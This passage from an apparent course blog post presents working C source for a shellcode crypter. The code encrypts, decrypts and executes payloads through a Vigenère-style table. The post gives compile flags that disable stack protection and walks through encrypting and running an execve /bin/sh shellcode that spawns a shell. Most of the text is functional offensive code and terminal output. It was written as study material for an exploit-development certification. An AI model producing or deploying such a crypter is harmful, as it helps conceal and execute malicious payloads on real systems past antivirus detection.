<span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i2</span> <span class="o">&lt;</span> <span class="n">CHARACTER_SET_SIZE</span><span class="p">;</span> <span class="n">i2</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">characterSet</span><span class="p">[</span><span class="n">keyByte</span> <span class="o">-</span> <span class="n">FIRST_BYTE</span><span class="p">][</span><span class="n">i2</span><span class="p">]</span> <span class="o">==</span> <span class="n">encryptedByte</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">debug</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Position: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Payload byte (dec): %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">ciphertext</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Key byte (dec): %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">keyByte</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Decrypted byte (dec): %d</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">characterSet</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="n">i2</span><span class="p">]);</span> <span class="p">}</span> <span class="n">originalPayload</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)</span><span class="n">characterSet</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="n">i2</span><span class="p">];</span> <span class="k">break</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">execute</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">s</span><span class="p">)()</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">originalPayload</span><span class="p">;</span> <span class="n">s</span><span class="p">();</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Decrypted: "</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">payloadLength</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">originalPayload</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="nf">parseByteString</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">byteString</span><span class="p">)</span> <span class="p">{</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">byteStringLength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">byteString</span><span class="p">);</span> <span class="kt">char</span> <span class="n">byteStringCopy</span><span class="p">[</span><span class="n">byteStringLength</span><span class="p">];</span> <span class="n">strcpy</span><span class="p">(</span><span class="n">byteStringCopy</span><span class="p">,</span> <span class="n">byteString</span><span class="p">);</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">byteStringLength</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">byteStringCopy</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'x'</span><span class="p">)</span> <span class="p">{</span> <span class="n">length</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">parsedString</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="p">)</span> <span class="o">*</span> <span class="n">length</span><span class="p">);</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">delim</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\\</span><span class="s">x"</span><span class="p">;</span> <span class="kt">char</span> <span class="o">*</span><span class="n">b</span><span class="p">;</span> <span class="n">b</span> <span class="o">=</span> <span class="n">strtok</span><span class="p">(</span><span class="n">byteStringCopy</span><span class="p">,</span> <span class="n">delim</span><span class="p">);</span> <span class="kt">int</span> <span class="n">currentByte</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">while</span><span class="p">(</span> <span class="n">b</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">parsedByte</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span><span class="n">strtol</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span> <span class="n">parsedString</span><span class="p">[</span><span class="n">currentByte</span><span class="p">]</span> <span class="o">=</span> <span class="n">parsedByte</span><span class="p">;</span> <span class="n">currentByte</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">b</span> <span class="o">=</span> <span class="n">strtok</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">delim</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">parsedString</span><span class="p">;</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span> <span class="kt">short</span> <span class="n">debug</span> <span class="o">=</span> <span class="n">argc</span> <span class="o">==</span> <span class="mi">5</span><span class="p">;</span> <span class="kt">int</span> <span class="n">characterSet</span><span class="p">[</span><span class="n">CHARACTER_SET_SIZE</span><span class="p">][</span><span class="n">CHARACTER_SET_SIZE</span><span class="p">];</span> <span class="c1">// Loop for each permutation required</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">CHARACTER_SET_SIZE</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Add each character to the right of the</span> <span class="c1">// initial offset to the start of the row.</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i2</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span> <span class="n">i2</span> <span class="o">&lt;</span> <span class="n">CHARACTER_SET_SIZE</span><span class="p">;</span> <span class="n">i2</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">characterSet</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">i2</span> <span class="o">-</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">i2</span> <span class="o">+</span> <span class="n">FIRST_BYTE</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// Rotate the characters to the left of the</span> <span class="c1">// initial offset to the end of the row.</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i2</span> <span class="o">&lt;</span> <span class="n">i</span><span class="p">;</span> <span class="n">i2</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">characterSet</span><span class="p">[</span><span class="n">i</span><span class="p">][(</span><span class="n">CHARACTER_SET_SIZE</span> <span class="o">-</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="n">i2</span><span class="p">]</span> <span class="o">=</span> <span class="n">i2</span> <span class="o">+</span> <span class="n">FIRST_BYTE</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="kt">char</span> <span class="o">*</span><span class="n">mode</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">baseKey</span> <span class="o">=</span> <span class="n">parseByteString</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span> <span class="kt">int</span> <span class="n">keyLength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">baseKey</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">debug</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Key: "</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">baseKey</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%02x "</span><span class="p">,</span> <span class="n">baseKey</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="n">parseByteString</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]);</span> <span class="kt">int</span> <span class="n">payloadLength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">payload</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">debug</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Payload: "</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">payload</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"%02x "</span><span class="p">,</span> <span class="n">payload</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="n">inflatedKeySize</span> <span class="o">=</span> <span class="n">keyLength</span><span class="p">;</span> <span class="kt">int</span> <span class="n">iterationsNeeded</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// If the payload is larger than the key, the key needs to be</span> <span class="c1">// repeated N times to make it match or exceed the length of</span> <span class="c1">// the payload.</span> <span class="k">if</span> <span class="p">(</span><span class="n">payloadLength</span> <span class="o">&gt;</span> <span class="n">keyLength</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Determine the number of times the key needs to be expanded</span> <span class="c1">// to meet the length required to encrypt the payload.</span> <span class="n">iterationsNeeded</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)((</span><span class="n">payloadLength</span> <span class="o">/</span> <span class="n">keyLength</span><span class="p">)</span> <span class="o">+</span> <span class="mi">0</span><span class="p">.</span><span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="c1">// Determine the new key size required and store it in</span> <span class="c1">// inflatedKeySize for use when initialising the new key.</span> <span class="n">inflatedKeySize</span> <span class="o">=</span> <span class="n">keyLength</span> <span class="o">*</span> <span class="n">iterationsNeeded</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// Initialise the key with a null byte so that strcat can work.</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="n">inflatedKeySize</span><span class="p">];</span> <span class="n">key</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\x00'</span><span class="p">;</span> <span class="c1">// Concatenate the base key on to the new key to ensure it</span> <span class="c1">// is long enough to encrypt the payload.</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">iterationsNeeded</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">strcat</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">key</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">baseKey</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">mode</span><span class="p">,</span> <span class="s">"e"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">characterSet</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">debug</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">mode</span><span class="p">,</span> <span class="s">"d"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">characterSet</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">debug</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">mode</span><span class="p">,</span> <span class="s">"x"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">characterSet</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">debug</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>This code is capable of handling the following tasks:</p> <ul> <li>Encrypting shellcode</li> <li>Decrypting shellcode</li> <li>Executing encrypted shellcode</li> </ul> <h2 id="using-the-crypter">Using the Crypter</h2> <p>To compile the code, save it to a file named <code class="language-plaintext highlighter-rouge">crypter.c</code> and run the following command:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -m32 -fno-stack-protector -z execstack crypter.c -o crypter </code></pre></div></div> <p>It is important to use the <code class="language-plaintext highlighter-rouge">no-stack-protector</code> flag, otherwise the execution of the shellcode will not be possible.</p> <p>Once compiled, it can be used by running the <code class="language-plaintext highlighter-rouge">crypter</code> executable. The executable accepts 4 positional arguments, which in order are:</p> <ul> <li><code class="language-plaintext highlighter-rouge">mode</code> - <code class="language-plaintext highlighter-rouge">e</code> to encrypt, <code class="language-plaintext highlighter-rouge">d</code> to decrypt or <code class="language-plaintext highlighter-rouge">x</code> to execute the payload</li> <li><code class="language-plaintext highlighter-rouge">key</code> - the key specified as escaped bytes; e.g. <code class="language-plaintext highlighter-rouge">\xde\xad\xbe\xef</code></li> <li><code class="language-plaintext highlighter-rouge">payload</code> - the payload to be encrypted, decrypted or executed specified as escaped bytes</li> <li><code class="language-plaintext highlighter-rouge">debug</code> - any arbitrary value placed here will enable debug mode, which will show some extra information when encoding payloads</li> </ul> <p>In the below example, an execve shellcode is encrypted using the key <code class="language-plaintext highlighter-rouge">\xde\xad\xbe\xef</code> and the encrypted shellcode is output:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>./crypter e <span class="s2">"</span><span class="se">\x</span><span class="s2">de</span><span class="se">\x</span><span class="s2">ad</span><span class="se">\x</span><span class="s2">be</span><span class="se">\x</span><span class="s2">ef"</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">eb</span><span class="se">\x</span><span class="s2">1a</span><span class="se">\x</span><span class="s2">5e</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">db</span><span class="se">\x</span><span class="s2">88</span><span class="se">\x</span><span class="s2">5e</span><span class="se">\x</span><span class="s2">07</span><span class="se">\x</span><span class="s2">89</span><span class="se">\x</span><span class="s2">76</span><span class="se">\x</span><span class="s2">08</span><span class="se">\x</span><span class="s2">89</span><span class="se">\x</span><span class="s2">5e</span><span class="se">\x</span><span class="s2">0c</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">1e</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">4e</span><span class="se">\x</span><span class="s2">08</span><span class="se">\x</span><span class="s2">8d</span><span class="se">\x</span><span class="s2">56</span><span class="se">\x</span><span class="s2">0c</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">c0</span><span class="se">\x</span><span class="s2">b0</span><span class="se">\x</span><span class="s2">0b</span><span class="se">\x</span><span class="s2">cd</span><span class="se">\x</span><span class="s2">80</span><span class="se">\x</span><span class="s2">e8</span><span class="se">\x</span><span class="s2">e1</span><span class="se">\x</span><span class="s2">ff</span><span class="se">\x</span><span class="s2">ff</span><span class="se">\x</span><span class="s2">ff</span><span class="se">\x</span><span class="s2">2f</span><span class="se">\x</span><span class="s2">62</span><span class="se">\x</span><span class="s2">69</span><span class="se">\x</span><span class="s2">6e</span><span class="se">\x</span><span class="s2">2f</span><span class="se">\x</span><span class="s2">73</span><span class="se">\x</span><span class="s2">68</span><span class="se">\x</span><span class="s2">41</span><span class="se">\x</span><span class="s2">42</span><span class="se">\x</span><span class="s2">42</span><span class="se">\x</span><span class="s2">42</span><span class="se">\x</span><span class="s2">42</span><span class="se">\x</span><span class="s2">43</span><span class="se">\x</span><span class="s2">43</span><span class="se">\x</span><span class="s2">43</span><span class="se">\x</span><span class="s2">43"</span> <span class="go"> Encrypted: \xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21 </span></code></pre></div></div> <p>To verify this is reversible, the decrypt mode is used, passing in the same key and the encrypted payload:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>./crypter d <span class="s2">"</span><span class="se">\x</span><span class="s2">de</span><span class="se">\x</span><span class="s2">ad</span><span class="se">\x</span><span class="s2">be</span><span class="se">\x</span><span class="s2">ef"</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">c9</span><span class="se">\x</span><span class="s2">c6</span><span class="se">\x</span><span class="s2">1c</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">b9</span><span class="se">\x</span><span class="s2">35</span><span class="se">\x</span><span class="s2">1c</span><span class="se">\x</span><span class="s2">f5</span><span class="se">\x</span><span class="s2">67</span><span class="se">\x</span><span class="s2">23</span><span class="se">\x</span><span class="s2">c5</span><span class="se">\x</span><span class="s2">78</span><span class="se">\x</span><span class="s2">3c</span><span class="se">\x</span><span class="s2">b8</span><span class="se">\x</span><span class="s2">4b</span><span class="se">\x</span><span class="s2">0d</span><span class="se">\x</span><span class="s2">6b</span><span class="se">\x</span><span class="s2">fa</span><span class="se">\x</span><span class="s2">c5</span><span class="se">\x</span><span class="s2">7c</span><span class="se">\x</span><span class="s2">34</span><span class="se">\x</span><span class="s2">b8</span><span class="se">\x</span><span class="s2">ee</span><span class="se">\x</span><span class="s2">af</span><span class="se">\x</span><span class="s2">8e</span><span class="se">\x</span><span class="s2">b7</span><span class="se">\x</span><span class="s2">8b</span><span class="se">\x</span><span class="s2">6f</span><span class="se">\x</span><span class="s2">c6</span><span class="se">\x</span><span class="s2">8e</span><span class="se">\x</span><span class="s2">bd</span><span class="se">\x</span><span class="s2">ee</span><span class="se">\x</span><span class="s2">dd</span><span class="se">\x</span><span class="s2">db</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">58</span><span class="se">\x</span><span class="s2">4c</span><span class="se">\x</span><span class="s2">db</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">57</span><span class="se">\x</span><span class="s2">1f</span><span class="se">\x</span><span class="s2">ee</span><span class="se">\x</span><span class="s2">ff</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">ef</span><span class="se">\x</span><span class="s2">01</span><span class="se">\x</span><span class="s2">32</span><span class="se">\x</span><span class="s2">21"</span> <span class="go"> Decrypted: \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43 </span></code></pre></div></div> <p>As can be seen in the above output, the original payload is successfully retrieved.</p> <p>Using the execution mode, the key and encrypted payload can be specified once again, but this time, the decrypted payload will be executed, and an <code class="language-plaintext highlighter-rouge">sh</code> shell spawned:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>./crypter x <span class="s2">"</span><span class="se">\x</span><span class="s2">de</span><span class="se">\x</span><span class="s2">ad</span><span class="se">\x</span><span class="s2">be</span><span class="se">\x</span><span class="s2">ef"</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">c9</span><span class="se">\x</span><span class="s2">c6</span><span class="se">\x</span><span class="s2">1c</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">b9</span><span class="se">\x</span><span class="s2">35</span><span class="se">\x</span><span class="s2">1c</span><span class="se">\x</span><span class="s2">f5</span><span class="se">\x</span><span class="s2">67</span><span class="se">\x</span><span class="s2">23</span><span class="se">\x</span><span class="s2">c5</span><span class="se">\x</span><span class="s2">78</span><span class="se">\x</span><span class="s2">3c</span><span class="se">\x</span><span class="s2">b8</span><span class="se">\x</span><span class="s2">4b</span><span class="se">\x</span><span class="s2">0d</span><span class="se">\x</span><span class="s2">6b</span><span class="se">\x</span><span class="s2">fa</span><span class="se">\x</span><span class="s2">c5</span><span class="se">\x</span><span class="s2">7c</span><span class="se">\x</span><span class="s2">34</span><span class="se">\x</span><span class="s2">b8</span><span class="se">\x</span><span class="s2">ee</span><span class="se">\x</span><span class="s2">af</span><span class="se">\x</span><span class="s2">8e</span><span class="se">\x</span><span class="s2">b7</span><span class="se">\x</span><span class="s2">8b</span><span class="se">\x</span><span class="s2">6f</span><span class="se">\x</span><span class="s2">c6</span><span class="se">\x</span><span class="s2">8e</span><span class="se">\x</span><span class="s2">bd</span><span class="se">\x</span><span class="s2">ee</span><span class="se">\x</span><span class="s2">dd</span><span class="se">\x</span><span class="s2">db</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">58</span><span class="se">\x</span><span class="s2">4c</span><span class="se">\x</span><span class="s2">db</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">57</span><span class="se">\x</span><span class="s2">1f</span><span class="se">\x</span><span class="s2">ee</span><span class="se">\x</span><span class="s2">ff</span><span class="se">\x</span><span class="s2">31</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">ef</span><span class="se">\x</span><span class="s2">01</span><span class="se">\x</span><span class="s2">32</span><span class="se">\x</span><span class="s2">21"</span> <span class="gp">$</span><span class="w"> </span><span class="nb">whoami</span> <span class="go">rastating </span></code></pre></div></div> <hr /> <p>This blog post has been created for completing the requirements of the <a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">SecurityTube Linux Assembly Expert certification</a>.</p> <p>Student ID: SLAE-1340</p> <p>All source files can be found on GitHub at <a href="https://github.com/rastating/slae">https://github.com/rastating/slae</a></p> Sat, 22 Sep 2018 00:00:00 +0000